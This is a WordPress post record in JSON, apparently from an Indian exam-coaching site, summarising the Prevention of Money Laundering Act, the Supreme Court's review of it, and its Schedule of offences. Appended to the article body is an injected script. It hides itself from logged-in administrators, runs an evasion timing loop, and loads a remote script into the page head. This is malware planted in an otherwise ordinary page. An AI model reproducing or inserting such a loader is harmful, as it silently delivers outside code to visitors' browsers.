{"id":107,"date":"2023-10-25T07:17:04","date_gmt":"2023-10-25T07:17:04","guid":{"rendered":"https:\/\/iasquest.com\/?p=107"},"modified":"2026-02-11T19:34:16","modified_gmt":"2026-02-11T19:34:16","slug":"prevention-of-money-laundering-act","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/prevention-of-money-laundering-act\/","title":{"rendered":"Prevention of Money Laundering Act"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>In NEWS: Recently, a three-judge bench of the Supreme Court stated that it would refer aspects of the PMLA verdict to a Constitution Bench if necessary.<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In 2022, a Coordinate Bench of the Supreme Court upheld core amendments of the PMLA Act, giving extensive powers to the Enforcement Directorate.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About PMLA<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Prevention of Money Laundering Act, 2002 (PMLA) was enacted to <strong>fight against the criminal offence of legalizing income or profits from an illegal source.<\/strong><\/li>\n\n\n\n<li>The Enforcement Directorate is responsible for investigating the offences of money laundering under the PMLA.<\/li>\n\n\n\n<li>The adjudicating authority will issue a notice to the person against whom it has received a complaint of money laundering under the PMLA.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Under the PMLA, the Central Government has the power to appoint an adjudicating authority to exercise powers and authority conferred under this Act. An adjudicating authority must consist of a bench of<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A chairperson<\/li>\n\n\n\n<li>There are two other members, of whom one individual must have experience in the law, administration, finance, or accounting fields.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Under PMLA, the commission of any offence, as mentioned in Part A and Part C of the Schedule of PMLA, will attract the provisions of PMLA. Some of the acts and offences, that may attract<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PMLA are enumerated below<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Part A<\/strong> enlists offences under various acts such as: Indian Penal Code, Narcotics Drugs and Psychotropic Substances Act, Prevention of Corruption Act, Antiquities and Art Treasures Act, Copyright Act, Trademark Act, Wildlife Protection Act, and Information Technology Act.<\/li>\n\n\n\n<li><strong>Part B <\/strong>specifies offences that are Part A offences, but the value involved in such offences is <strong>Rs 1 crore or more.<\/strong><\/li>\n\n\n\n<li><strong>Part C<\/strong> deals with trans-border crimes and reflects the dedication to tackle money laundering across global boundaries.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 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s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>In NEWS: Recently, a three-judge bench of the Supreme Court stated that it would refer aspects of the PMLA verdict [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":108,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center 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